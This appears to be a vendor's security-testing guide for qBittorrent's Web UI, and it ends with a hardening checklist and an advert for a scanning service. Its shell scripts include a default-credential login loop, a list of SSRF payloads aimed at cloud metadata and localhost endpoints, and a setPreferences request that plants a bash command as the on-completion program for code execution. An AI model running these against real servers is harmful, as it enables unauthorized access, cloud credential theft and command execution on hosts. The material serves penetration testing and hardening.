qBittorrent Security Testing: Web UI Default Credentials, API, Remote Code Execution, and Download Path

qBittorrent is the most widely deployed self-hosted torrent client with a web interface, serving as the download backend for Sonarr, Radarr, and other *arr applications. Its security impact extends to the host filesystem because it writes all downloaded content and can execute programs after completion: qBittorrent's web UI defaults to admin/adminadmin as the password until explicitly changed — older versions also allowed unauthenticated access on localhost; qBittorrent's REST API accepts a urls parameter for adding torrents, which causes the server to make an outbound HTTP request to fetch the torrent file — this is SSRF; qBittorrent's "Run external program on torrent completion" setting executes an arbitrary command with the torrent completion details as arguments, providing a code execution path from anyone who has API access; and qBittorrent's download save path configuration determines where files are written on the host filesystem. This guide covers systematic qBittorrent security assessment.

Table of Contents

  1. Authentication and Default Credentials
  2. Torrent URL SSRF
  3. External Program Code Execution
  4. qBittorrent Security Hardening

Authentication and Default Credentials

# qBittorrent Web UI — default credentials admin/adminadmin
QB_URL="https://qbittorrent.example.com"

# Test default credentials
LOGIN_RESULT=$(curl -s -c /tmp/qb_cookies.txt \
  -X POST "${QB_URL}/api/v2/auth/login" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Referer: ${QB_URL}" \
  -d "username=admin&password=adminadmin" 2>/dev/null)
echo "Default admin/adminadmin: ${LOGIN_RESULT}"
# "Ok." = successful login, "Fails." = wrong credentials

# Test other common defaults
for CREDS in "admin:admin" "admin:password" "qbittorrent:qbittorrent"; do
  USER=$(echo "$CREDS" | cut -d: -f1)
  PASS=$(echo "$CREDS" | cut -d: -f2)
  RESULT=$(curl -s -c /tmp/qb_cookies_test.txt \
    -X POST "${QB_URL}/api/v2/auth/login" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -H "Referer: ${QB_URL}" \
    -d "username=${USER}&password=${PASS}" 2>/dev/null)
  echo "${USER}:${PASS} -> ${RESULT}"
done

# Get application preferences (requires authentication)
curl -s "${QB_URL}/api/v2/app/preferences" \
  -H "Cookie: $(cat /tmp/qb_cookies.txt | grep SID | awk '{print "SID="$7}')" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Save path: {d.get(\"save_path\")}')
print(f'Max active torrents: {d.get(\"max_active_torrents\")}')
print(f'External program enabled: {d.get(\"autorun_enabled\")}')
print(f'External program: {d.get(\"autorun_program\")}')
print(f'Bypass auth on localhost: {d.get(\"bypass_local_auth\")}')
" 2>/dev/null

Torrent URL SSRF

# qBittorrent torrent URL — server makes outbound HTTP request to fetch torrent file
QB_URL="https://qbittorrent.example.com"
SID_COOKIE="SID=your-session-id"

# Add torrent via URL — qBittorrent server fetches the URL
# This creates SSRF: the server makes an outbound GET to the provided URL
SSRF_TARGETS=(
  "http://169.254.169.254/latest/meta-data/"
  "http://metadata.google.internal/computeMetadata/v1/"
  "http://127.0.0.1:8080/"
  "http://localhost:8080/api/v2/app/preferences"
)

for TARGET in "${SSRF_TARGETS[@]}"; do
  echo "Testing SSRF: ${TARGET}"
  curl -s -X POST "${QB_URL}/api/v2/torrents/add" \
    -H "Cookie: ${SID_COOKIE}" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -d "urls=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${TARGET}'))")" 2>/dev/null
done

External Program Code Execution

# qBittorrent external program on completion — arbitrary command execution
# When a torrent completes, qBittorrent runs the configured command
QB_URL="https://qbittorrent.example.com"
SID_COOKIE="SID=your-session-id"

# Check if external program feature is enabled
curl -s "${QB_URL}/api/v2/app/preferences" \
  -H "Cookie: ${SID_COOKIE}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
enabled = d.get('autorun_enabled', False)
program = d.get('autorun_program', '')
print(f'External program enabled: {enabled}')
print(f'Configured program: {program}')
# Program can contain: %N (torrent name), %L (category), %T (tracker),
# %I (hash), %D (save path), %F (content path)
" 2>/dev/null

# With admin access, configure the external program to execute arbitrary commands
# This turns API access into code execution on the qBittorrent host
curl -s -X POST "${QB_URL}/api/v2/app/setPreferences" \
  -H "Cookie: ${SID_COOKIE}" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode 'json={"autorun_enabled": true, "autorun_program": "/bin/bash -c \"id > /tmp/pwned\""}' 2>/dev/null

qBittorrent Security Hardening

qBittorrent Security Hardening Checklist:
Security TestMethodRisk
Default admin/adminadmin credentialsPOST /api/v2/auth/login with username=admin&password=adminadmin — "Ok." response confirms login; session cookie provides full Web UI and API access including preferences modificationCritical
Torrent URL SSRFPOST /api/v2/torrents/add with urls=http://169.254.169.254/... — qBittorrent server makes outbound GET to fetch the torrent file; SSRF to cloud metadata and internal servicesHigh
External program code execution on completionPOST /api/v2/app/setPreferences with autorun_program set to arbitrary command — command executes on qBittorrent host when any torrent download completes, with qBittorrent service account privilegesCritical (requires API access)
Unauthenticated access via localhost bypassRequests from 127.0.0.1 bypass authentication when bypass_local_auth=true — any service on the same host can access qBittorrent without credentials; exploitable if another service on the host has SSRFHigh
Torrent content path traversal via save pathGET /api/v2/app/preferences — reveals save_path; combined with write access (add torrent with crafted content path) may allow writing to arbitrary filesystem locations depending on save path restrictionsMedium

Automate qBittorrent Security Testing

Ironimo tests qBittorrent deployments for default admin/adminadmin credentials and common password variants, torrent URL SSRF via the add torrent API endpoint, external program on completion code execution risk assessment, localhost authentication bypass configuration, Web UI version disclosure for known CVE matching, download save path security review, and CSRF vulnerability testing for older qBittorrent versions.

Start free scan